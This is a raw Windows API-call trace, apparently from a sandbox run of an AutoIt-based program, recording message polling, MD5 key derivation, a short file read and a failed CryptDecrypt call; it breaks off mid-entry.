[0034.214] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0034.214] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0034.214] PeekMessageW (in: lpMsg=0xc80cb2ef90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ef90) returned 0 [0034.214] PeekMessageW (in: lpMsg=0xc80cb2ef90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ef90) returned 0 [0034.214] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0034.214] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0034.214] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0034.215] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0034.215] PeekMessageW (in: lpMsg=0xc80cb2ef90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ef90) returned 0 [0034.215] PeekMessageW (in: lpMsg=0xc80cb2ef90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ef90) returned 0 [0034.215] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0034.215] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.215] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.215] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.215] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0034.215] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.215] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.215] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0034.215] PeekMessageW (in: lpMsg=0xc80cb2ebd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ebd0) returned 0 [0034.215] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0034.215] PeekMessageW (in: lpMsg=0xc80cb2e5c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e5c0) returned 0 [0034.215] PeekMessageW (in: lpMsg=0xc80cb2ebd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ebd0) returned 0 [0034.215] PeekMessageW (in: lpMsg=0xc80cb2ebd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ebd0) returned 0 [0034.215] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0034.215] PeekMessageW (in: lpMsg=0xc80cb2e8b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e8b0) returned 0 [0034.215] PeekMessageW (in: lpMsg=0xc80cb2e8b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e8b0) returned 0 [0034.215] PeekMessageW (in: lpMsg=0xc80cb2ebd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ebd0) returned 0 [0034.216] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.216] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.216] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0034.216] PeekMessageW (in: lpMsg=0xc80cb2e640, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e640) returned 0 [0034.216] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0034.216] PeekMessageW (in: lpMsg=0xc80cb2e640, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e640) returned 0 [0034.216] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0034.216] CryptCreateHash (in: hProv=0xc80cdbd4c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xc80cb2e6d0 | out: phHash=0xc80cb2e6d0) returned 1 [0034.217] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.217] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.217] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.217] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.217] CharLowerBuffW (in: lpsz="byte[13]", cchLength=0x8 | out: lpsz="byte[13]") returned 0x8 [0034.217] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.217] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.217] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0034.217] PeekMessageW (in: lpMsg=0xc80cb2e640, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e640) returned 0 [0034.217] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0034.217] CryptHashData (hHash=0xc80cd660d0, pbData=0xc80cd8d530, dwDataLen=0xd, dwFlags=0x1) returned 1 [0034.217] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.217] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.217] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.217] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0034.217] PeekMessageW (in: lpMsg=0xc80cb2e640, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e640) returned 0 [0034.217] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0034.217] PeekMessageW (in: lpMsg=0xc80cb2e640, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e640) returned 0 [0034.217] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0034.217] CryptDeriveKey (in: hProv=0xc80cdbd4c0, Algid=0x660e, hBaseData=0xc80cd660d0, dwFlags=0x1, phKey=0xc80cb2e6d0 | out: phKey=0xc80cb2e6d0*=0xc80cd65e30) returned 1 [0034.218] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.218] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.218] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.218] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.218] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.218] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0034.218] PeekMessageW (in: lpMsg=0xc80cb2e730, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e730) returned 0 [0034.218] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0034.218] CryptDestroyHash (hHash=0xc80cd660d0) returned 1 [0034.218] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.219] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.219] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.219] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.219] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.219] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0034.219] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0xc80cb2f0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc80cb2f0c0*=0) returned 1 [0034.219] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.219] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.219] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.219] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.219] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.219] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.219] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.220] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0xc80cb2f170, dwMoveMethod=0x1 | out: lpNewFilePointer=0xc80cb2f170*=0) returned 1 [0034.221] ReadFile (in: hFile=0x198, lpBuffer=0xc80cdc6a00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xc80cb2f1b0, lpOverlapped=0x0 | out: lpBuffer=0xc80cdc6a00*, lpNumberOfBytesRead=0xc80cb2f1b0*=0x10, lpOverlapped=0x0) returned 1 [0034.221] ReadFile (in: hFile=0x198, lpBuffer=0xc80cdc6a00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xc80cb2f1b0, lpOverlapped=0x0 | out: lpBuffer=0xc80cdc6a00*, lpNumberOfBytesRead=0xc80cb2f1b0*=0x0, lpOverlapped=0x0) returned 1 [0034.222] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.222] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.222] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.222] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0034.222] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.222] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.222] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0034.222] PeekMessageW (in: lpMsg=0xc80cb2e820, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e820) returned 0 [0034.222] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0034.222] PeekMessageW (in: lpMsg=0xc80cb2e820, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e820) returned 0 [0034.222] PeekMessageW (in: lpMsg=0xc80cb2e820, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e820) returned 0 [0034.222] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0034.222] PeekMessageW (in: lpMsg=0xc80cb2df80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2df80) returned 0 [0034.222] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0034.222] CryptGetKeyParam (in: hKey=0xc80cd65e30, dwParam=0x7, pbData=0xc80cc49310, pdwDataLen=0xc80cb2dfe8, dwFlags=0x0 | out: pbData=0xc80cc49310*=0x660e, pdwDataLen=0xc80cb2dfe8*=0x4) returned 1 [0034.222] PeekMessageW (in: lpMsg=0xc80cb2e820, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e820) returned 0 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2e820, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e820) returned 0 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.223] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0034.223] PeekMessageW (in: lpMsg=0xc80cb2ebd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ebd0) returned 0 [0034.223] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2e5c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e5c0) returned 0 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2ebd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ebd0) returned 0 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2ebd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ebd0) returned 0 [0034.223] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2e8b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e8b0) returned 0 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2e8b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e8b0) returned 0 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2ebd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ebd0) returned 0 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.223] CharLowerBuffW (in: lpsz="byte[1016]", cchLength=0xa | out: lpsz="byte[1016]") returned 0xa [0034.223] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.223] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0034.223] PeekMessageW (in: lpMsg=0xc80cb2e640, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e640) returned 0 [0034.223] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0034.224] CryptDecrypt (in: hKey=0xc80cd65e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc80cdc32a0, pdwDataLen=0xc80cb2e6f8 | out: pbData=0xc80cdc32a0, pdwDataLen=0xc80cb2e6f8) returned 0 [0034.227] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 1 [0034.227] TranslateAcceleratorW (hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2eef0) returned 0 [0034.227] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2eef0) returned 1 [0034.227] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 1 [0034.227] TranslateAcceleratorW (hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2eef0) returned 0 [0034.227] TranslateMessage (lpMsg=0xc80cb2eef0) returned 0 [0034.227] DispatchMessageW (lpMsg=0xc80cb2eef0) returned 0x0 [0034.227] GetForegroundWindow () returned 0x5018c [0034.227] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.227] GetCursorPos (in: lpPoint=0xc80cb2ed50 | out: lpPoint=0xc80cb2ed50*(x=867, y=515)) returned 1 [0034.227] ScreenToClient (in: hWnd=0x5018c, lpPoint=0xc80cb2ed50 | out: lpPoint=0xc80cb2ed50) returned 1 [0034.227] GetAsyncKeyState (vKey=1) returned 0 [0034.227] GetAsyncKeyState (vKey=2) returned 0 [0034.227] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.227] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.227] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.227] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.228] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.228] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.228] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.228] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0034.228] PeekMessageW (in: lpMsg=0xc80cb2ebd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ebd0) returned 0 [0034.228] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0034.228] PeekMessageW (in: lpMsg=0xc80cb2e8b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e8b0) returned 0 [0034.228] PeekMessageW (in: lpMsg=0xc80cb2e8b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e8b0) returned 0 [0034.228] PeekMessageW (in: lpMsg=0xc80cb2ebd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ebd0) returned 0 [0034.228] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0034.228] PeekMessageW (in: lpMsg=0xc80cb2e5c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e5c0) returned 0 [0034.228] PeekMessageW (in: lpMsg=0xc80cb2ebd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ebd0) returned 0 [0034.228] PeekMessageW (in: lpMsg=0xc80cb2ebd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 